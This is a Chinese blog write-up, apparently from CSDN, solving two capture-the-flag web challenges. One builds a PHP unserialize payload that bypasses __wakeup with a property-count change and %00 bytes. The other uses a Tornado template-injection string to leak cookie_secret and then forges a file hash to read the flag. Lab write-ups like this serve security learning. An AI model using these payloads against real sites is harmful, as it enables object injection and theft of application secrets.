BUUCTF Web [极客大挑战 2019]PHP & [护网杯 2018]easy_tornado 1

[极客大挑战 2019]PHP 

启动靶机

找到网站所提的备份文件www.zip

/www.zip

 

 发现了三个php文件

 先看一下index.php文件

发现包含了class.php,还通过GET传了select参数

再看一下 class.php

可以发现,要想拿到flag,需要使username绝对等于'admin' 。

 destruct函数告诉我们需要时password的值等于100。

 编写脚本至2.php

<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name = new Name;
print(serialize($name));
?>

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

但是在class.php有个wakeup函数会把username的值改为guest,看了看大佬的wp,把序列化结果中的2改成3即可绕过

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

构造payload:

/index.php?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

竟然打不开,于是又去看了看大佬的wp,懂了。错误原因:我们从2.php复制过来的序列化结果是html显示的结果,有些字符无法通过html显示,所以右键查看一下www/2.php的源码 

 发现了我们有几个小方块没有加上,查一下对用url编码

 

用%00代替小方块重新构造payload

/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

拿到flag                    flag{c6456382-dbab-4531-95df-feb10c2f0123}

[护网杯 2018]easy_tornado 1

启动靶机

发现了三个文档,打开看看 

/flag.txt

/welcome.txt

/hints.txt

 观察/hints.txt的url

 /file?filename=/hints.txt&filehash=c304cd212f98c6f2f94c2d2c1a2b16af

随便改下后面filehash的值访问一下

报错了,

1.尝试构造payload拿到cookie_secret

error?msg={{handler.settings}}

 

 'cookie_secret': 'a9d76d8c-f722-4d0b-861e-3ff005de04ea' 

2.计算md5(/fllllllllllllag)

3bf9f6cf685a6dd8defadabfb41a03a1

 3.计算最终的md5值

md5(a9d76d8c-f722-4d0b-861e-3ff005de04ea3bf9f6cf685a6dd8defadabfb41a03a1)

 0143937a3ecbd14e4078cd1369a4e1fd

4.构造最终payload

 /file?filename=/fllllllllllllag&filehash=0143937a3ecbd14e4078cd1369a4e1fd

 拿到flag               flag{6003d68d-c068-45b8-934d-25112d6ff24c}  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WmVicmE=

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值